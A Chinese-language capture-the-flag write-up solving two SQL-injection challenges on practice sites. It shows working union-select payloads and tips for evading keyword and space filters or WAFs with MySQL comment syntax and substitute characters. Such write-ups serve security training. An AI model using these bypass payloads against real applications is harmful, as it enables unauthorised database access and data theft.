1. 程式人生 > >CTF解題筆記(2)

CTF解題筆記(2)

簡單的sql注入:

這三道題目主要是檢測繞過過濾的功底:

1.解題路徑:http://ctf5.shiyanbar.com/423/web/

先提交1試試看:

發現顯示是正常的,然後再提交id=1':

說明'是可以影響SQL語句的,並沒有被過濾掉

然後我們嘗試id=1' or ''=':發現空格和or關鍵字都沒有被過濾,很好

再嘗試看and關鍵字,令id=1' and 1=1 or''=':發現報錯,將and換成大寫也不行,看來是被過濾掉了

接著嘗試使用(),/**//*!*/等方法繞過,發現/*!關鍵字*/的方法是可以繞過的:

於是開始猜測表名:id=' or /*! exists*/ (/*!select*/ * /*!from*/ admin) /*!and*/ ''=';表名不存在

猜測表名為flag:成功!


猜測列名存在id和name:都是可以的

使用聯合查詢看列數:id=' /*!union*/ /*!select*/ 1,2 /*!from*/ flag /*!where*/ ''='

說明之前回顯的id就是我們輸入的引數而已

當我們構造id=' /*!union*/ /*!select*/ name /*!from*/ flag /*!where*/ ''='時卻顯示錯誤,

可能是出題者挖的一個坑,當構造id=' /*!union*/ /*!select*/ flag /*!from*/ flag /*!where*/ ''='

顯示出flag


2.解題連結:http://ctf5.shiyanbar.com/web/index_2.php

有了上一題的經驗,我們先檢測看這個到底過濾了什麼:

分別輸入'和' 可以判斷空格是被過濾了的,我們可以知道,可以使用%0a %0d %09 %0b /**/ /*!*/ /*!50000*/來代替空格,這裡我們選用/**/。

然後嘗試or和and關鍵字以及union看看是否被過濾,發現都可以正常使用,甚至#都可以正常使用,簡直神奇;於是構造:

id='/**/and/**/0=1/**/union/**/select/**/flag/**/from/**/flag#


總結:

tip1:在Mysql中構造sql注入時,where後面的單引號完全可以直接使用''=''來閉合,表示永真,而不一定需要'1'='1'這種格式。

tip 2:當關鍵字被過濾掉的時候,可以使用/**/或者/*!*/括起來的方式來繞過檢測過濾

tip 3:常用來繞過WAF或過濾函式以代替空格的字元有這些:%0a %0d %09 %0b /**/ /*!*/ /*!50000*/以及()

tip 4:在get型注入中,如果or被過濾,則可以使用|代替,如 ...where search=''|'1';